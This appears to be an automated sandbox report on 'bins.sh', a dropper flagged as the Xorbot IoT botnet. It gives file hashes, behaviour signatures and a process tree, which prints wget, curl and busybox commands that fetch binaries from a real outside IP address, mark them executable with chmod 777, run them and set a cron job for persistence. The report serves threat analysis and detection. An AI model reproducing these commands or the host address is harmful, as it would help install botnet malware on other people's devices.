Analysis

  • max time kernel
    123s
  • max time network
    119s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04-12-2024 13:29

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    3edce6c590ad87ba627b4ce0f9ab1a02

  • SHA1

    a47f28477a3b672132deb0af3e3cd214f020bb04

  • SHA256

    ed5138a5800c6bedfbcd9e9a46d11323dcc2696d92bd42f1d99c46d7bf07f4bd

  • SHA512

    b8687eeb804b48d6a1aa0726cdedd9aabda86144e5c111b2ffcabc6f4a795d17bdb5b9c4dc55072094f4e5d6c7385b6b74693b5bed914677adce9ca8aad51701

  • SSDEEP

    96:r3/beW4YNrxvuy6DTKJGJGJsJXJzw/O28PMewJGJGJsJXJzhSlD942KP4De/7uy8:r3/bd4YNtvuy6DTt1E1Ouy6DT6/bd4Y4

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:701
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://216.126.231.240/bins/9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
          2⤵
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:730
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
          2⤵
          • Writes file to tmp directory
          PID:732
        • /bin/chmod
          chmod 777 9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
          2⤵
          • File and Directory Permissions Modification
          PID:733
        • /tmp/9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
          ./9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
          2⤵
          • Executes dropped EXE
          PID:734
        • /bin/rm
          rm 9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO
          2⤵
            PID:736
          • /usr/bin/wget
            wget http://216.126.231.240/bins/OUBR7tzP5Kf2cuhKfQ8CVBIiNyBebJmbE0
            2⤵
            • Writes file to tmp directory
            PID:737
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/OUBR7tzP5Kf2cuhKfQ8CVBIiNyBebJmbE0
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:738
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/OUBR7tzP5Kf2cuhKfQ8CVBIiNyBebJmbE0
            2⤵
            • Writes file to tmp directory
            PID:739
          • /bin/chmod
            chmod 777 OUBR7tzP5Kf2cuhKfQ8CVBIiNyBebJmbE0
            2⤵
            • File and Directory Permissions Modification
            PID:740
          • /tmp/OUBR7tzP5Kf2cuhKfQ8CVBIiNyBebJmbE0
            ./OUBR7tzP5Kf2cuhKfQ8CVBIiNyBebJmbE0
            2⤵
            • Executes dropped EXE
            PID:741
          • /bin/rm
            rm OUBR7tzP5Kf2cuhKfQ8CVBIiNyBebJmbE0
            2⤵
              PID:744
            • /usr/bin/wget
              wget http://216.126.231.240/bins/jA0fUfa6oGeswkVO4FlpCq5IDw4QCN3upn
              2⤵
              • Writes file to tmp directory
              PID:746
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/jA0fUfa6oGeswkVO4FlpCq5IDw4QCN3upn
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:773
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/jA0fUfa6oGeswkVO4FlpCq5IDw4QCN3upn
              2⤵
              • Writes file to tmp directory
              PID:791
            • /bin/chmod
              chmod 777 jA0fUfa6oGeswkVO4FlpCq5IDw4QCN3upn
              2⤵
              • File and Directory Permissions Modification
              PID:792
            • /tmp/jA0fUfa6oGeswkVO4FlpCq5IDw4QCN3upn
              ./jA0fUfa6oGeswkVO4FlpCq5IDw4QCN3upn
              2⤵
              • Executes dropped EXE
              PID:793
            • /bin/rm
              rm jA0fUfa6oGeswkVO4FlpCq5IDw4QCN3upn
              2⤵
                PID:795
              • /usr/bin/wget
                wget http://216.126.231.240/bins/BxDtAdcJQhmZMl4JxvCjWuswO1FdpCjZQE
                2⤵
                • Writes file to tmp directory
                PID:796
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/BxDtAdcJQhmZMl4JxvCjWuswO1FdpCjZQE
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:797
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/BxDtAdcJQhmZMl4JxvCjWuswO1FdpCjZQE
                2⤵
                • Writes file to tmp directory
                PID:798
              • /bin/chmod
                chmod 777 BxDtAdcJQhmZMl4JxvCjWuswO1FdpCjZQE
                2⤵
                • File and Directory Permissions Modification
                PID:799
              • /tmp/BxDtAdcJQhmZMl4JxvCjWuswO1FdpCjZQE
                ./BxDtAdcJQhmZMl4JxvCjWuswO1FdpCjZQE
                2⤵
                • Executes dropped EXE
                PID:800
              • /bin/rm
                rm BxDtAdcJQhmZMl4JxvCjWuswO1FdpCjZQE
                2⤵
                  PID:802
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/PdLNjkSwLlheySkhdD8aVZiva9i6LrJzYp
                  2⤵
                  • Writes file to tmp directory
                  PID:803
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/PdLNjkSwLlheySkhdD8aVZiva9i6LrJzYp
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:811
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/PdLNjkSwLlheySkhdD8aVZiva9i6LrJzYp
                  2⤵
                  • Writes file to tmp directory
                  PID:826
                • /bin/chmod
                  chmod 777 PdLNjkSwLlheySkhdD8aVZiva9i6LrJzYp
                  2⤵
                  • File and Directory Permissions Modification
                  PID:832
                • /tmp/PdLNjkSwLlheySkhdD8aVZiva9i6LrJzYp
                  ./PdLNjkSwLlheySkhdD8aVZiva9i6LrJzYp
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:834
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:836
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:838
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:840
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:841
                    • /bin/rm
                      rm PdLNjkSwLlheySkhdD8aVZiva9i6LrJzYp
                      2⤵
                        PID:844
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/aqq50sVuaakSXTz0WBjVIiIU6E3gpAgudN
                        2⤵
                          PID:847

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/9C98clmYPS1rUN8uKA8sCufYppsOFoKQfO

                        Filesize

                        112KB

                        MD5

                        05d7857dcead18bbd86d2935f591873c

                        SHA1

                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                        SHA256

                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                        SHA512

                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                      • /tmp/BxDtAdcJQhmZMl4JxvCjWuswO1FdpCjZQE

                        Filesize

                        127KB

                        MD5

                        89077b7bd4bcafca7713be43635c4862

                        SHA1

                        fc02edb8fba29ea8ee99e6157ef8560334530052

                        SHA256

                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                        SHA512

                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                      • /tmp/OUBR7tzP5Kf2cuhKfQ8CVBIiNyBebJmbE0

                        Filesize

                        99KB

                        MD5

                        9438d9bc392bcf300a5583b6df5bc8f6

                        SHA1

                        375a6ae34b516f6f3eeea8030c4084f585017efa

                        SHA256

                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                        SHA512

                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                      • /tmp/PdLNjkSwLlheySkhdD8aVZiva9i6LrJzYp

                        Filesize

                        151KB

                        MD5

                        6c583043d91c55aa470c08c87058e917

                        SHA1

                        abf65a5b9bba69980278ad09356e53de8bb89439

                        SHA256

                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                        SHA512

                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                      • /tmp/jA0fUfa6oGeswkVO4FlpCq5IDw4QCN3upn

                        Filesize

                        119KB

                        MD5

                        1b166b95f9cb4b079ef1b9ec8363ddf3

                        SHA1

                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                        SHA256

                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                        SHA512

                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                      • /var/spool/cron/crontabs/tmp.STlXRd

                        Filesize

                        210B

                        MD5

                        a689ec3d3a7c3ac4cd2d41000e70b719

                        SHA1

                        b04b487be95883ad21c922a206ce5578432269db

                        SHA256

                        ecbf3b44ee9b7f22144f8ab93ea5a16328dee92e7e827c883f38767944a70f8f

                        SHA512

                        98b4f76fe5a3d0da4097cc90e6847a2da9b05ca3e7cdf947995d18f413390a7d075dc5bbb6c418dad09a284ea204733424294a2f87431d9a9525e3eb134292c9